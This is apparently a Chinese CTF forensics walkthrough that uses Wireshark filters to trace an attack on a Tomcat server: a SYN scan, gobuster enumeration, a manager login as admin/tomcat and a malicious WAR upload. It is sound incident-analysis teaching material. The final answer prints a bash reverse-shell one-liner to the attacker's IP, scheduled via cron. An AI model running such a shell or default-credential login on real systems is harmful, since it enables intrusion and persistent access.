1.攻击者ip

思路

通过题目描述得知,攻击方存在恶意的扫描行为

首先想到的是nmap扫描,攻击方一般为了扫描效率,选择利用三次握手中客户端返回syn字段,这样的好处是不用建立完整三次握手过程的连接就可以知道端口是否开启

解题

这样我们只需要用wireshark查找SYN标志位为1的数据包,确认出那些同一个ip发送大量syn字段不完成三次握手的,即为攻击者

显示SYN标志位为1的数据包:tcp.flags.syn==1

image-20240707151021714

这里看到来源ip为14.0.0.120发送了大量的syn的包,试图与服务器的各个端口建立连接,确定攻击者的ip

 flag{14.0.0.120}

2.ip所在城市

这里直接百度ip,确认攻击者在广州

image-20240707151440294

 flag{guangzhou}

3.web服务器管理面板的访问端口

根据题目名称中的tomcat(容器默认端口为8080,管理面板为/manager),且过滤出那些请求成功的数据包 http contains "200"

确认访问端口为8080

 flag{8080}

4.攻击工具

过滤 ip.src == 14.0.0.120 && http,查看攻击来源ip发送到http报文,发现很多数据包中的user-agent的为gobuster

image-20240707153036861

gobuster:一款用于目录和文件枚举的开源工具。它主要用于网站上查找隐藏的目录和文件,从而进行信息收集或渗透测试

 flag{gobuster}

5.攻击者登录成功的用户名和密码

从上面的步骤得知信息:

  • 攻击者的ip为14.0.0.120

  • 攻击者使用了gobuster扫描了目录

  • web容器为tomcat,端口为8080,管理面板路径默认为url/manager

所以我们这里过滤:ip.src == 14.0.0.120&&http.request.uri contains "/manager/html"

image-20240707155026068

找到最后一个访问/manager/html的报文,观察响应包得知,里面的credentials即为登录成功的账号和密码

 flag{admin-tomcat}

6.提交恶意文件的名称

这里同样过滤攻击者ip和http包,发现一个POST上传的war包

image-20240707155618541

该war包即为恶意文件

 flag{JXQOZY.war}

7.维持提权成功后的登录

由于上题提过,攻击者登录成功后,先要建立反弹shell,既然这样我们直接过滤 ip.src == 14.0.0.120&&frame contains "bin/bash"

image-20240707160512058

找到攻击者使用crontab -i cron 命令来进行定时反弹shell,从而实现维持提权登录

 flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}